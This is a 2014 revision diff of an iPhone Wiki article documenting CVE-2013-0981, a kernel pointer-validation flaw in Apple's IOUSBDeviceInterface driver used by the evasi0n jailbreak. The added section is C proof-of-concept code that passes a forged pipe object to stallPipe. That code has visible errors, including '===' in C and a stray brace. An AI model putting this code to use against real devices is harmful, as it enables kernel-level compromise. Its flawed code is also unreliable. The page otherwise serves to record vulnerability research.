|
The iPhone Wiki is no longer updated. Visit this article on The Apple Wiki for current information. |
Difference between revisions of "IOUSBDeviceFamily Vulnerability"
m (→References: mention ATV link too) |
|||
| Line 1: | Line 1: | ||
This is CVE-2013-0981. |
This is CVE-2013-0981. |
||
This kernel vulnerability comes from the <code>com.apple.iokit.IOUSBDeviceInterface</code> driver. There are several methods that accept a pipe object pointer from user space, but do not validate the pointer except for testing if it is non-null. An application that can communicate with USB devices (holding <code>com.apple.security.device.usb</code> [[entitlement]]) can call IOUSBDeviceInterface functions directly and give them a malformed pipe object which can result in arbitrary code execution if the memory referenced by the given pip object pointer can be controlled from user space. [[evasi0n]] uses function 15 (stallPipe) for exploitation. |
This kernel vulnerability comes from the <code>com.apple.iokit.IOUSBDeviceInterface</code> driver. There are several methods that accept a pipe object pointer from user space, but do not validate the pointer except for testing if it is non-null. An application that can communicate with USB devices (holding <code>com.apple.security.device.usb</code> [[entitlement]]) can call IOUSBDeviceInterface functions directly and give them a malformed pipe object which can result in arbitrary code execution if the memory referenced by the given pip object pointer can be controlled from user space. [[evasi0n]] uses function 15 (stallPipe) for exploitation. |
||
| + | This is an implementation of the exploit code. |
||
| + | <code> |
||
| + | void exploit_kern_612(void) |
||
| + | { |
||
| + | kern_return_t ret; |
||
| + | CFMutableDictionaryRef lol = IOServiceMatching( "IOUSBDeviceInterface" ); |
||
| + | if( lol != NULL ) |
||
| + | { |
||
| + | io_connect_t connect; |
||
| + | io_service_t io_service = IOServiceGetMatchingService( kIOMasterPortDefault, lol ); |
||
| + | ret = IOServiceOpen( io_service, mach_task_self(), 0, &connect ); |
||
| + | |||
| + | // check if this bs works |
||
| + | if(ret === KERN_SUCCESS) |
||
| + | { |
||
| + | uint32_t fakr[100] = {0}; |
||
| + | fakr[0x28/4] = 1; |
||
| + | fakr[0x8/4] = (uint32_t)fakr; |
||
| + | fakr[0x20/4] = 0; |
||
| + | fakr[0x50/4] = (uint32_t)fakr; |
||
| + | fakr[0] = (uint32_t)fakr; |
||
| + | fakr[0x70/4] = 0x12345678; |
||
| + | // fakr |
||
| + | |||
| + | uint64_t lel_again = (uint32_t)fakr; |
||
| + | IOConnectCallMethod(connect, 15, &lel_again, 1, NULL, 0, NULL, NULL, NULL, NULL); |
||
| + | } |
||
| + | } |
||
| + | } |
||
| + | } |
||
| + | </code> |
||
TODO: Describe [[evasi0n]] exploitation in detail here. |
TODO: Describe [[evasi0n]] exploitation in detail here. |
||
Revision as of 18:27, 14 June 2014
This is CVE-2013-0981.
This kernel vulnerability comes from the com.apple.iokit.IOUSBDeviceInterface driver. There are several methods that accept a pipe object pointer from user space, but do not validate the pointer except for testing if it is non-null. An application that can communicate with USB devices (holding com.apple.security.device.usb entitlement) can call IOUSBDeviceInterface functions directly and give them a malformed pipe object which can result in arbitrary code execution if the memory referenced by the given pip object pointer can be controlled from user space. evasi0n uses function 15 (stallPipe) for exploitation.
This is an implementation of the exploit code.
void exploit_kern_612(void)
{
kern_return_t ret;
CFMutableDictionaryRef lol = IOServiceMatching( "IOUSBDeviceInterface" );
if( lol != NULL )
{
io_connect_t connect;
io_service_t io_service = IOServiceGetMatchingService( kIOMasterPortDefault, lol );
ret = IOServiceOpen( io_service, mach_task_self(), 0, &connect );
// check if this bs works
if(ret === KERN_SUCCESS)
{
uint32_t fakr[100] = {0};
fakr[0x28/4] = 1;
fakr[0x8/4] = (uint32_t)fakr;
fakr[0x20/4] = 0;
fakr[0x50/4] = (uint32_t)fakr;
fakr[0] = (uint32_t)fakr;
fakr[0x70/4] = 0x12345678;
// fakr
uint64_t lel_again = (uint32_t)fakr;
IOConnectCallMethod(connect, 15, &lel_again, 1, NULL, 0, NULL, NULL, NULL, NULL);
}
}
}
}
TODO: Describe evasi0n exploitation in detail here.
Apple's description in the iOS 6.1.3 security fixes:
USB
Impact: A local user may be able to execute arbitrary code in the kernel
Description: The IOUSBDeviceFamily driver used pipe object pointers that came from userspace. This issue was addressed by performing additional validation of pipe object pointers.
